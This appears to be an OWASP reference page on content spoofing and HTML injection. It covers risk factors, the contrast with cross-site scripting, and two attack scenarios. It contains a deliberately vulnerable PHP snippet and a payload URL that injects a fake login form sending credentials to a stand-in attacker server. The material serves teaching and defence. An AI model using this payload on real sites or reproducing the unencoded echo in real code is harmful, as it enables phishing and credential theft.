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Author: Andrew Smith
Contributor(s): Jmanico, Wichers, D0ubl3 h3lix, Rishu Ranjan, ADubhlaoich
Content spoofing, also referred to as content injection, “arbitrary text injection” or virtual defacement, is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain. This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user’s trust. As a side note, this attack is widely misunderstood as a kind of bug that brings no impact.
Attack Type: Client-Side
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. Another factor that heightens the risk is by doing SEO injection in a way that search engines crawl and index crafted URLs with falsified messages.
By doing so, customers could be forced to switch to competitor’s products. This could lead to loss of monetary value until rectification is properly done by the victim business. For public traded companies, its shares will be falling down, leading to uncontrolled loss of millions.
An attacker compromised social accounts which have thousands of followers and distribute misleading Content Spoofing payload via Twitter/Facebook/Instagram/ similar popular channel. This will lead media to assume news is correct and create headline stories.
Text injection can be easily found if:
- User input via parameter or directly in the URL is reflected in the page response
- Content-Type: text/plain
- Application is giving default error pages
- A business entity selling one type of product as a major business function
For example, Taxi hailing business, Online shopping business, Online service business
- A business entity relying on the brand name
For example, Cosmetic brand, Airline brand
- Malicious competitors
- Disgruntled employees
- Unsatisfied customers
Content Spoofing vs. Cross-site Scripting
Content spoofing is an attack that is closely related to Cross-site Scripting (XSS). While XSS
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.
Hypertext Markup Language (HTML) Injection
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:
- Attacker discovers injection vulnerability and decides to spoof a login form
- Attacker crafts malicious link, including their injected HTML content, and sends it to a user via email
- The user visits the page due to the page being located within a trusted domain
- The attacker’s injected HTML is rendered and presented to the user asking for a username and password
- The user enters a username and password, which are both sent to the attackers server
- A simple PHP page containing an injection vulnerability via the
<?php $name = $_REQUEST ['name']; ?> <html> <h1>Welcome to the Internet!</h1> <br> <body> Hello, <?php echo $name; ?>! <p>We are so glad you are here!</p> </body> </html>
The page functionality can be tested by making the following GET request
to the page:
By requesting the link below, the page renders the injected HTML,
presents a login form, and comments out the rest of the page after the
injection point. Once a user enters their username and password, the
values are sent to a page named
login.php on the attacker’s server via
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" name="password" /><br /><input type="submit" value="Login" /></form><!--
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:
- An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock
- The attacker identifies a vulnerable parameter
- The attacker crafts a malicious link by slightly modifying a valid request
- The link containing the modified request is sent to a user and they clicks the link
- A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website
- CAPEC - 148
- WASC - Content Spoofing
- Content Injection Attack
- CERT Advisory on Malicious HTML Tags
- OWASP’s XSS (Cross Site Scripting) Prevention Cheat Sheet
- HTML Code Injection and Cross-site Scripting
- Case studies (Spotify, LinkedIn, ..etc)